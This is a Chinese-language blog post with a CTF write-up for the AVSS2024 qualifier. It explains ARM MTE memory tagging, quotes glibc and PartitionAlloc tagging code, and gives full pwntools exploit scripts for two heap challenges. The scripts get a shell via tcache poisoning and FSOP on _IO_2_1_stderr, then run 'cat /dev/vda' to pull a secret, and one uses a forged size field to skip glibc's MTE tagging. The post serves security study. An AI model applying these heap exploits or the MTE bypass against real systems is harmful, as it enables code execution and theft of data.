AVSS2024 初赛 MTE 复现

MTE机制的学习.感觉目前的实现还是有很多利用空间.
快进到”再见了,所有的内存漏洞”

简介

https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-1.html
https://developer.arm.com/-/media/Arm%20Developer%20Community/PDF/Arm_Memory_Tagging_Extension_Whitepaper.pdf
https://www.darknavy.org/blog/strengthening_the_shield_mte_in_memory_allocators/

ARMv8架构地址具有Top-Byte Ignore特性,MTE使用指针的高四位来存储tag.指针的tag必须与将要访问的内存的tag相同才可以访问,否则SIGSEGV.

下面是为支持MTE提供的三条指令:
irg(insert random tag): 为指针x0生成随机的tag并保存到x1.
stg(Store Allocation Tag): 将x1中的tag应用到对应内存中.
ldr(Load Register): 读取内存

1
2
3
4
; x0 is a pointer
irg x1, x0
stg x1, [x1]
ldr x0, [x1]

实现

Chrome - PartitionAlloc

谷歌的PartitionAlloc在释放内存时会将tag++,导致UAF的指针不能再次访问对应内存.
但实际上由于tag仅有4位,只需再释放取出15次即可使tag与UAF的指针的tag相同.

1
2
3
4
5
void* retagged_slot_start = internal::TagMemoryRangeIncrement(
ObjectToTaggedSlotStart(object), tag_size);
// Incrementing the MTE-tag in the memory range invalidates the |object|'s
// tag, so it must be retagged.
object = TaggedSlotStartToObject(retagged_slot_start);

Glibc - Ptmalloc

关于MTE与实现的简介:

glibc将用户可用空间标记为与堆块头不同的tag,这可以快速检测简单的堆溢出.
当内存释放,内存会被glibc默认的tag所标记,这可以防止UAF.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* Memory tagging.  */

/* Some systems support the concept of tagging (sometimes known as
coloring) memory locations on a fine grained basis. Each memory
location is given a color (normally allocated randomly) and
pointers are also colored. When the pointer is dereferenced, the
pointer's color is checked against the memory's color and if they
differ the access is faulted (sometimes lazily).

We use this in glibc by maintaining a single color for the malloc
data structures that are interleaved with the user data and then
assigning separate colors for each block allocation handed out. In
this way simple buffer overruns will be rapidly detected. When
memory is freed, the memory is recolored back to the glibc default
so that simple use-after-free errors can also be detected.

If memory is reallocated the buffer is recolored even if the
address remains the same. This has a performance impact, but
guarantees that the old pointer cannot mistakenly be reused (code
that compares old against new will see a mismatch and will then
need to behave as though realloc moved the data to a new location).

内部所使用的API,实际上是一层Wrapper.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
/*
Internal API for memory tagging support.

void *tag_new_zero_region (void *ptr, size_t size)

Allocates a new tag, colors the memory with that tag, zeros the
memory and returns a pointer that is correctly colored for that
location. The non-tagging version will simply call memset with 0.

void *tag_region (void *ptr, size_t size)

Color the region of memory pointed to by PTR and size SIZE with
the color of PTR. Returns the original pointer.

void *tag_new_usable (void *ptr)

Allocate a new random color and use it to color the user region of
a chunk; this may include data from the subsequent chunk's header
if tagging is sufficiently fine grained. Returns PTR suitably
recolored for accessing the memory there.

void *tag_at (void *ptr)

Read the current color of the memory at the address pointed to by
PTR (ignoring it's current color) and return PTR recolored to that
color. PTR must be valid address in all other respects. When
tagging is not enabled, it simply returns the original pointer.

*/

#ifdef USE_MTAG
static bool mtag_enabled = false;
static int mtag_mmap_flags = 0;
#else
# define mtag_enabled false
# define mtag_mmap_flags 0
#endif

static __always_inline void *
tag_region (void *ptr, size_t size)
{
if (__glibc_unlikely (mtag_enabled))
return __libc_mtag_tag_region (ptr, size);
return ptr;
}

static __always_inline void *
tag_new_zero_region (void *ptr, size_t size)
{
if (__glibc_unlikely (mtag_enabled))
return __libc_mtag_tag_zero_region (__libc_mtag_new_tag (ptr), size);
return memset (ptr, 0, size);
}

static __always_inline void *
tag_new_usable (void *ptr)
{
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
}

static __always_inline void *
tag_at (void *ptr)
{
if (__glibc_unlikely (mtag_enabled))
return __libc_mtag_address_get_tag (ptr);
return ptr;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Convert address P to a pointer that is tagged correctly for that
location. */
static __always_inline void *
__libc_mtag_address_get_tag (void *p)
{
register void *x0 asm ("x0") = p;
asm (".inst 0xd9600000 /* ldg x0, [x0] */" : "+r" (x0));
return x0;
}

/* Assign a new (random) tag to a pointer P (does not adjust the tag on
the memory addressed). */
static __always_inline void *
__libc_mtag_new_tag (void *p)
{
register void *x0 asm ("x0") = p;
register unsigned long x1 asm ("x1");
/* Guarantee that the new tag is not the same as now. */
asm (".inst 0x9adf1401 /* gmi x1, x0, xzr */\n"
".inst 0x9ac11000 /* irg x0, x0, x1 */" : "+r" (x0), "=r" (x1));
return x0;
}



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#ifdef USE_MTAG

/* Assumptions:
*
* ARMv8-a, AArch64, MTE, LP64 ABI.
*
* Interface contract:
* Address is 16 byte aligned and size is multiple of 16.
* Returns the passed pointer.
* The memory region may remain untagged if tagging is not enabled.
*/
.arch armv8.5-a
.arch_extension memtag

#define dstin x0
#define count x1
#define dst x2
#define dstend x3
#define tmp x4
#define zva_val x4

ENTRY (__libc_mtag_tag_region)
PTR_ARG (0)
SIZE_ARG (1)

add dstend, dstin, count

cmp count, 96
b.hi L(set_long)

tbnz count, 6, L(set96)

/* Set 0, 16, 32, or 48 bytes. */
lsr tmp, count, 5
add tmp, dstin, tmp, lsl 4
cbz count, L(end)
stg dstin, [dstin]
stg dstin, [tmp]
stg dstin, [dstend, -16]
L(end):
ret

.p2align 4
/* Set 64..96 bytes. Write 64 bytes from the start and
32 bytes from the end. */
L(set96):
st2g dstin, [dstin]
st2g dstin, [dstin, 32]
st2g dstin, [dstend, -32]
ret

.p2align 4
/* Size is > 96 bytes. */
L(set_long):
cmp count, 160
b.lo L(no_zva)

#ifndef SKIP_ZVA_CHECK
mrs zva_val, dczid_el0
and zva_val, zva_val, 31
cmp zva_val, 4 /* ZVA size is 64 bytes. */
b.ne L(no_zva)
#endif
st2g dstin, [dstin]
st2g dstin, [dstin, 32]
bic dst, dstin, 63
sub count, dstend, dst /* Count is now 64 too large. */
sub count, count, 128 /* Adjust count and bias for loop. */

.p2align 4
L(zva_loop):
add dst, dst, 64
dc gva, dst
subs count, count, 64
b.hi L(zva_loop)
st2g dstin, [dstend, -64]
st2g dstin, [dstend, -32]
ret

L(no_zva):
sub dst, dstin, 32 /* Dst is biased by -32. */
sub count, count, 64 /* Adjust count for loop. */
L(no_zva_loop):
st2g dstin, [dst, 32]
st2g dstin, [dst, 64]!
subs count, count, 64
b.hi L(no_zva_loop)
st2g dstin, [dstend, -64]
st2g dstin, [dstend, -32]
ret

END (__libc_mtag_tag_region)
#endif /* USE_MTAG */

对chunk2mem,mem2chunk的操作也加上了tag_at的调用.

1
2
3
4
5
/* Convert a chunk address to a user mem pointer and extract the right tag.  */
#define chunk2mem_tag(p) ((void*)tag_at ((char*)(p) + CHUNK_HDR_SZ))

/* Convert a user mem pointer to a chunk address and extract the right tag. */
#define mem2chunk(mem) ((mchunkptr)tag_at (((char*)(mem) - CHUNK_HDR_SZ)))

实际的标记过程在__libc_malloc中实现.正常分配堆块然后调用tag_new_usable对用户可用部分进行标记.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#if IS_IN (libc)
void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;

_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
"PTRDIFF_MAX is not more than half of SIZE_MAX");

if (!__malloc_initialized)
ptmalloc_init ();
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes = checked_request2size (bytes);
if (tbytes == 0)
{
__set_errno (ENOMEM);
return NULL;
}
size_t tc_idx = csize2tidx (tbytes);

MAYBE_INIT_TCACHE ();

DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache != NULL
&& tcache->counts[tc_idx] > 0)
{
victim = tcache_get (tc_idx);
return tag_new_usable (victim);
}
DIAG_POP_NEEDS_COMMENT;
#endif

if (SINGLE_THREAD_P)
{
victim = tag_new_usable (_int_malloc (&main_arena, bytes));
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
}

arena_get (ar_ptr, bytes);

victim = _int_malloc (ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL)
{
LIBC_PROBE (memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}

if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);

victim = tag_new_usable (victim);

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));
return victim;
}
libc_hidden_def (__libc_malloc)

在__libc_free中解除标记.在解除之前,访问一次mem来确保tag正确.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */

if (mem == 0) /* free(0) has no effect */
return;

/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;

int err = errno;

p = mem2chunk (mem);

if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();

/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));

ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}

__set_errno (err);
}
libc_hidden_def (__libc_free)

AVSS2024 初赛

BBO_bb

glibc2.35 堆, 没开MTE,edit时可以负偏移改写到Tcache,然后改IO_2_1_stderr进行FSOP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
promt = ":"

def menu(option):
io.sendlineafter(promt,str(option))

def add(size,content=None):
global promt
menu(1)
io.sendlineafter(promt,str(size))
if content != None:
io.sendafter(promt,content)
def edit(idx,offset,val):
global promt
menu(2)
io.sendlineafter(promt,str(idx))
io.sendlineafter(promt,str(offset))
io.sendlineafter(promt,str(val))
def delete(idx):
global promt
menu(3)
io.sendlineafter(promt,str(idx))




def exp():
add(0x410,'a\n') #0
add(0xf0,'a\n') #1
add(0xf0,'a\n') #1
add(0xf0,'a\n') #1
add(0xf0,'a\n') #1



delete(0)
add(0x80,'\n') #0

sleep(1)
io.recv()
io.recvuntil(b'\r\n\r') #本地不用加这个
p.leak_libc('libc_base',p.recvaddress()-0x193f0a)

delete(1)
delete(2)

IO_stderr = p.libc_base+0x194520

for i in range(8):
edit(0,-0x240+i,p64(p.IO_stderr)[i])

add(0xf0,p.house_of_apple2_short(p.IO_stderr,p.system_addr,' sh')+b'\x00\n')
menu(4)



def att_remote():
global io
io = remote(url,port)
p.init(io,e,libc,context)

for i in range(5):
exp()
io.sendafter('#','cat /dev/vda\n')
io.recvuntil('/dev/vda\r\n')
secret = io.recv(32)
io.sendafter('#','exit\n')

io.sendlineafter('secret:',secret)
io.recvuntil('Congratulations!')
p.recvflag()
exit(0)


att_remote()

BBO_pt

和上题一样,但开启了MTE保护.由于在上一题中我们用来负偏移改Tcache的指针带上了tag,无法访问Tcache或者任何libc区域.

不过由于分配小于0x80的堆块时,会直接复用堆块管理结构的剩余空间,此时用负索引即可修改到当前堆块管理结构本身.
很自然的想法是先覆盖当前管理结构的指针来任意写,但由于一次edit只能写入1字节,修改指针自身比较麻烦.

于是可以修改size并清空指针的tag(libc管理的空间tag为0)来达到正向溢出的效果,通过比较泄露的地址可以发现堆区与libc的地址相差不大,可以正向溢出直接修改IO_list_all.
当然,清空tag后也就恢复了对Tcache_perthread_struct的访问能力,再按上一题的解法打即可.

当我正向溢出修改IO_list_all并在堆上布置伪造的文件结构体后退出,我得到了SIGSEGV.分析过后认为是FSOP过程中访问伪造的File结构体中的指针时触发了MTE保护.
于是改为正向溢出修改IO_2_1_stderr,它成功了.但逐字节写入需要大量的交互过程,而解决挑战需要连续攻击成功5次,这需要相当长的时间.

1
2
3
4
5
6
dist = p.IO_stderr-(heap_base+0x770)
lg("distance",dist)

payload = p.house_of_apple2_short(p.IO_stderr,p.system_addr,' sh')
for i in range(len(payload)):
edit(1,dist+i,payload[i])

所以改为正向溢出Tcache的next指针来劫持IO_stderr.然而结果还是SIGSEGV,分析过后认为是将IO_2_1_stderr从Tcache中malloc出来之后打上了tag,无法对其正常访问.不禁感叹MTE对于任意地址分配原语的缓解能力.

不过(自认为)glibc目前打tag的方式是有缺陷的,需要tag的范围由chunk头中的size域决定,而从Tcache中取出时又没有对size域相关的检测,所以如果提前布置好size或者找一个合适的值做size(有Tcache aligin的检查之后合适的值并不好找),即可造成分配区域大小与标记范围不统一的情况,甚至是绕过标记过程.

1
2
3
4
5
6
7
8
9
10
static __always_inline void *
tag_new_usable (void *ptr)
{
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
}

于是先任意写在_IO_2_1_stderr上方布置好一个0x20的值来绕过tag.
最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
promt = ":"

def menu(option):
io.sendlineafter(promt,str(option))

def add(size,content=None):
global promt
menu(1)
io.sendlineafter(promt,str(size))
if content != None:
io.sendafter(promt,content)
def edit(idx,offset,val):
global promt
menu(2)
io.sendlineafter(promt,str(idx))
io.sendlineafter(promt,str(offset))
io.sendlineafter(promt,str(val))
def delete(idx):
global promt
menu(3)
io.sendlineafter(promt,str(idx))




def exp():
global mode
add(0x410,'a\n') #0
add(0x70,'HanQi\n') #1
add(0x400,'a\n')
add(0x400,'a\n')
add(0xf0,'a\n')
add(0xf0,'a\n')

delete(0)
add(0x80,'\n') #0
sleep(1)
io.recv()
if mode == 1:
io.recvuntil(b'\r\n\r')
p.leak_libc('libc_base',p.recvaddress()-0x193f0a)

delete(0)

add(0x80,b'a'*0xf+b'\n')

if mode == 1:
io.recvuntil('a'*0xf+'\r\n') #远程
io.recvuntil('a'*0xf+'\r\n') #远程
else:
io.recvuntil('a'*0xf+'\n')

heap_base = p.recvaddress()-0x330
lg("heap_base",heap_base)

for i in range(4):
edit(1,-0x10+i,p32(0xfffffff)[i])

edit(1,-1,0)

delete(2)
delete(3)

dist = p.libc_base-(heap_base+0x770)
dist += 0x1944a8
lg("distance",dist)

for i in range(8):
edit(1,0x5e0+i,p64(p.mangle(heap_base+0xd40,p.libc_base+0x1944b0))[i])

for i in range(8):
edit(1,dist+i,p64(0x20)[i])

payload = flat([b'\x00'*0x68,p.IO_stderr,p.house_of_apple2_short(p.IO_stderr,p.system_addr,' sh')+b'\x00\n'])
add(0x400,'a\n')
add(0x400,payload)

menu(4)


def att_remote():
global io,mode
mode = 1
io = remote(url,port)
p.init(io,e,libc,context)

for i in range(5):
exp()
io.sendafter('#','cat /dev/vda\n')
io.recvuntil('/dev/vda\r\n')
sleep(2)
secret = io.recv(32)
io.sendafter('#','exit\n')

io.sendlineafter('secret:',secret)
io.recvuntil('Congratulations!')
p.recvflag()
exit(0)

att_remote()

通过泄露堆指针的tag来在堆上布置FSOP也是可以完成的.

BBO_pa(Todo)

由于种种原因+期末,稍微拖延一下(x .

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信